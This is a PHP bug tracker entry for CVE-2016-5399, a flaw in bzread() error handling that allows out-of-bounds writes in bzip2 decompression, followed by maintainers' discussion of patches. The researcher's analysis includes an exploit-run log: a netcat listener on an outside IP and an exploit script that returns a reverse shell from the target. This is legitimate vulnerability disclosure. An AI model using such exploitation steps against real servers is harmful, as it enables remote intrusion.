php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72613 Inadequate error handling in bzread()
Submitted: 2016-07-18 03:43 UTC Modified: 2016-07-24 07:53 UTC
From: hji at dyntopia dot com Assigned: stas (profile)
Status: Closed Package: Bzip2 Related
PHP Version: 5.5.37 OS:
Private report: No CVE-ID: 2016-5399
 [2016-07-18 03:43 UTC] hji at dyntopia dot com
Description:
------------
PHP 7.0.8, 5.6.23 and 5.5.37 does not perform adequate error handling in
its `bzread()' function:

php-7.0.8/ext/bz2/bz2.c
,----
| 364 static PHP_FUNCTION(bzread)
| 365 {
| ...
| 382     ZSTR_LEN(data) = php_stream_read(stream, ZSTR_VAL(data), ZSTR_LEN(data));
| 383     ZSTR_VAL(data)[ZSTR_LEN(data)] = '\0';
| 384
| 385     RETURN_NEW_STR(data);
| 386 }
`----

php-7.0.8/ext/bz2/bz2.c
,----
| 210 php_stream_ops php_stream_bz2io_ops = {
| 211     php_bz2iop_write, php_bz2iop_read,
| 212     php_bz2iop_close, php_bz2iop_flush,
| 213     "BZip2",
| 214     NULL, /* seek */
| 215     NULL, /* cast */
| 216     NULL, /* stat */
| 217     NULL  /* set_option */
| 218 };
`----

php-7.0.8/ext/bz2/bz2.c
,----
| 136 /* {{{ BZip2 stream implementation */
| 137
| 138 static size_t php_bz2iop_read(php_stream *stream, char *buf, size_t count)
| 139 {
| 140     struct php_bz2_stream_data_t *self = (struct php_bz2_stream_data_t *)stream->abstract;
| 141     size_t ret = 0;
| 142
| 143     do {
| 144         int just_read;
| ...
| 148         just_read = BZ2_bzread(self->bz_file, buf, to_read);
| 149
| 150         if (just_read < 1) {
| 151             stream->eof = 0 == just_read;
| 152             break;
| 153         }
| 154
| 155         ret += just_read;
| 156     } while (ret < count);
| 157
| 158     return ret;
| 159 }
`----

The erroneous return values for Bzip2 are as follows:

bzip2-1.0.6/bzlib.h
,----
| 038 #define BZ_SEQUENCE_ERROR    (-1)
| 039 #define BZ_PARAM_ERROR       (-2)
| 040 #define BZ_MEM_ERROR         (-3)
| 041 #define BZ_DATA_ERROR        (-4)
| 042 #define BZ_DATA_ERROR_MAGIC  (-5)
| 043 #define BZ_IO_ERROR          (-6)
| 044 #define BZ_UNEXPECTED_EOF    (-7)
| 045 #define BZ_OUTBUFF_FULL      (-8)
| 046 #define BZ_CONFIG_ERROR      (-9)
`----

Should the invocation of BZ2_bzread() fail, the loop would simply be
broken out of (bz2.c:152) and execution would continue with bzread()
returning RETURN_NEW_STR(data).

According to the manual[1], bzread() returns FALSE on error; however
that does not seem to ever happen.

Due to the way that the bzip2 library deals with state, this could
result in an exploitable condition if a user were to call bzread() after
an error, eg:

,----
| $data = "";
| while (!feof($fp)) {
|     $res = bzread($fp);
|     if ($res === FALSE) {
|         exit("ERROR: bzread()");
|     }
|     $data .= $res;
| }
`----


Exploitation
============

One way the lack of error-checking could be abused is through
out-of-bound writes that may occur when `BZ2_decompress()' (BZ2_bzread()
-> BZ2_bzRead() -> BZ2_bzDecompress() -> BZ2_decompress()) processes the
`pos' array using user-controlled selectors as indices:

bzip2-1.0.6/decompress.c
,----
| 106 Int32 BZ2_decompress ( DState* s )
| 107 {
| 108    UChar      uc;
| 109    Int32      retVal;
| ...
| 113    /* stuff that needs to be saved/restored */
| 114    Int32  i;
| 115    Int32  j;
| ...
| 118    Int32  nGroups;
| 119    Int32  nSelectors;
| ...
| 167    /*restore from the save area*/
| 168    i           = s->save_i;
| 169    j           = s->save_j;
| ...
| 172    nGroups     = s->save_nGroups;
| 173    nSelectors  = s->save_nSelectors;
| ...
| 195    switch (s->state) {
| ...
| 286       /*--- Now the selectors ---*/
| 287       GET_BITS(BZ_X_SELECTOR_1, nGroups, 3);
| 288       if (nGroups < 2 || nGroups > 6) RETURN(BZ_DATA_ERROR);
| 289       GET_BITS(BZ_X_SELECTOR_2, nSelectors, 15);
| 290       if (nSelectors < 1) RETURN(BZ_DATA_ERROR);
| 291       for (i = 0; i < nSelectors; i++) {
| 292          j = 0;
| 293          while (True) {
| 294             GET_BIT(BZ_X_SELECTOR_3, uc);
| 295             if (uc == 0) break;
| 296             j++;
| 297             if (j >= nGroups) RETURN(BZ_DATA_ERROR);
| 298          }
| 299          s->selectorMtf[i] = j;
| 300       }
| 301
| 302       /*--- Undo the MTF values for the selectors. ---*/
| 303       {
| 304          UChar pos[BZ_N_GROUPS], tmp, v;
| 305          for (v = 0; v < nGroups; v++) pos[v] = v;
| 306
| 307          for (i = 0; i < nSelectors; i++) {
| 308             v = s->selectorMtf[i];
| 309             tmp = pos[v];
| 310             while (v > 0) { pos[v] = pos[v-1]; v--; }
| 311             pos[0] = tmp;
| 312             s->selector[i] = tmp;
| 313          }
| 314       }
| 315
| ...
| 613    save_state_and_return:
| 614
| 615    s->save_i           = i;
| 616    s->save_j           = j;
| ...
| 619    s->save_nGroups     = nGroups;
| 620    s->save_nSelectors  = nSelectors;
| ...
| 640    return retVal;
| 641 }
`----

bzip2-1.0.6/decompress.c
,----
| 070 #define GET_BIT(lll,uuu)                          \
| 071    GET_BITS(lll,uuu,1)
`----

bzip2-1.0.6/decompress.c
,----
| 043 #define GET_BITS(lll,vvv,nnn)                     \
| 044    case lll: s->state = lll;                      \
| 045    while (True) {                                 \
| ...
| 065    }
`----

If j >= nGroups (decompress.c:297), BZ2_decompress() would save its
state and return BZ_DATA_ERROR.  If the caller don't act on the
erroneous retval, but rather invokes BZ2_decompress() again, the saved
state would be restored (including `i' and `j') and the switch statement
would transfer execution to the BZ_X_SELECTOR_3 case -- ie. the
preceding initialization of `i = 0' and `j = 0' would not be executed.

In pseudocode it could be read as something like:

,----
| i = s->save_i;
| j = s->save_j;
| 
| switch (s->state) {
| case BZ_X_SELECTOR_2:
|     s->state = BZ_X_SELECTOR_2;
| 
|     nSelectors = get_15_bits...
| 
|     for (i = 0; i < nSelectors; i++) {
|         j = 0;
|         while (True) {
|             goto iter;
| case BZ_X_SELECTOR_3:
| iter:
|     s->state = BZ_X_SELECTOR_3;
| 
|     uc = get_1_bit...
| 
|     if (uc == 0) goto done;
|     j++;
|     if (j >= nGroups) {
|         retVal = BZ_DATA_ERROR;
|         goto save_state_and_return;
|     }
|     goto iter;
| done:
|     s->selectorMtf[i] = j;
`----

An example selector with nGroup=6:
,----
| 11111111111110
| ||||| `|||||| `- goto done; s->selectorMtf[i] = 13;
|  `ยด     j++;
| j++;    goto save_state_and_return;
| goto iter;
`----

Since the selectors are used as indices to `pos' in the subsequent loop,
an `nSelectors' amount of <= 255 - BZ_N_GROUPS bytes out-of-bound writes
may occur if BZ2_decompress() is invoked in spite of a previous error.

bzip2-1.0.6/decompress.c
,----
| 304          UChar pos[BZ_N_GROUPS], tmp, v;
| 305          for (v = 0; v < nGroups; v++) pos[v] = v;
| 306
| 307          for (i = 0; i < nSelectors; i++) {
| 308             v = s->selectorMtf[i];
| 309             tmp = pos[v];
| 310             while (v > 0) { pos[v] = pos[v-1]; v--; }
| 311             pos[0] = tmp;
| 312             s->selector[i] = tmp;
| 313          }
`----

bzip2-1.0.6/bzlib_private.h
,----
| 121 #define BZ_N_GROUPS 6
`----


[1] [https://secure.php.net/manual/en/function.bzread.php] 


Test script:
---------------
upload.php: https://gist.github.com/dyntopia/e52eaa0b10aec1a2a600558413474325
CVE-2016-5399.py: https://gist.github.com/dyntopia/d01e63246a31a54300742c0ad044ee07

Actual result:
--------------
Against FreeBSD 10.3 amd64 with php-fpm 7.0.8 and nginx from the
official repo:

,----
| $ nc -v -l 1.2.3.4 5555 &
| Listening on [1.2.3.4] (family 0, port 5555)
| 
| $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php
| [*] sending archive to http://target/upload.php (0)
| 
| Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479)
| $ fg
| id
| uid=80(www) gid=80(www) groups=80(www)
| 
| uname -imrsU
| FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000
| 
| /usr/sbin/pkg query -g "=> %n-%v" php*
| => php70-7.0.8
| => php70-bz2-7.0.8
`----


This issue has been assigned CVE-2016-5399.


-- Hans Jerry Illikainen


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-07-19 04:58 UTC] stas@php.net
This seems to be a problem in bzip2 library if reading after error leads to an exploitable memory overwrite. The user code may as well omit checking the error by mistake and try to read again, and at this point PHP has no idea what's up in the guts of bzip2, so how would we prevent problems in such scenario?

It is true that bzread should return false on error, that should be fixed. But the larger problem of bzip2 library having hidden error state which leads to memory errors remains.
 [2016-07-19 05:27 UTC] stas@php.net
-PHP Version: 7.0.8 +PHP Version: 5.5.37
 [2016-07-19 05:27 UTC] stas@php.net
The problem exists in 5.5 too, though the failure is different - it just ignores negative returns from bz2_ret and thinks it's a huge read after converting it to size_t. Partial fix for 5.5 in f3feddb5b45b5abd93abb1a95044b7e099d51c84
 [2016-07-19 06:04 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-07-19 06:04 UTC] stas@php.net
Fix for 7.x in https://gist.github.com/ad5580eb30b139384ec7dba4d8283f60
 and in security repo as 5faa15c4ce9d68a286a9ffe10ecbb897ebe95601

Please verify.
More comprehensive fix will need some refactoring of streams, as currently there's no way to return errors from handlers there properly as far as I can see.
 [2016-07-19 07:54 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-07-19 07:54 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2016-07-19 15:03 UTC] hji at dyntopia dot com
The patch fixes the issue so long as the user invokes feof() on the
bzhandle.  However, if one does not do that the corruption could still
occur.

I don't think this issue should be attributed to the bzip2 library
since it *does* emit errors as appropriate.  It only becomes a problem
if the caller don't act on erroneous conditions -- eg. a high-level
language exposing bzip2 functionality to a user.

One solution may be to do what Python does with bzip2 errors and throw
an exception (see catch_bz2_error() in _bz2module.c).
 [2016-07-19 16:23 UTC] stas@php.net
PHP never throws an exception on unexceptional condition like read error - fread doesn't do it, neither do any other file functions. To make bzread do it because underlying library has bad API that crashes if called after an error is not a good idea IMO.
 [2016-07-24 07:53 UTC] kaplan@php.net
-CVE-ID: +CVE-ID: 2016-5399
 [2016-08-02 10:09 UTC] huzaifas@php.net
I dont like the patch (http://git.php.net/?p=php-src.git;a=commit;h=f3feddb5b45b5abd93abb1a95044b7e099d51c84)  because it still does not follow what upstream bzip API guide (http://www.bzip.org/1.0.5/bzip2-manual-1.0.5.html#bzread) suggests:

BZ2_bzRead will supply len bytes, unless the logical stream end is detected or an error occurs. Because of this, it is possible to detect the stream end by observing when the number of bytes returned is less than the number requested. Nevertheless, this is regarded as inadvisable; you should instead check bzerror after every call and watch out for BZ_STREAM_END.

So the patch should basically called BZ2_bzRead(), then immediately check bzerror, if no error code is set and then any other processing can be done, in case an error code then EOF is immediately returned.

Here we assume that the user always checks the output of bzread with EOF and exits when feof returns true.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 09:01:32 2024 UTC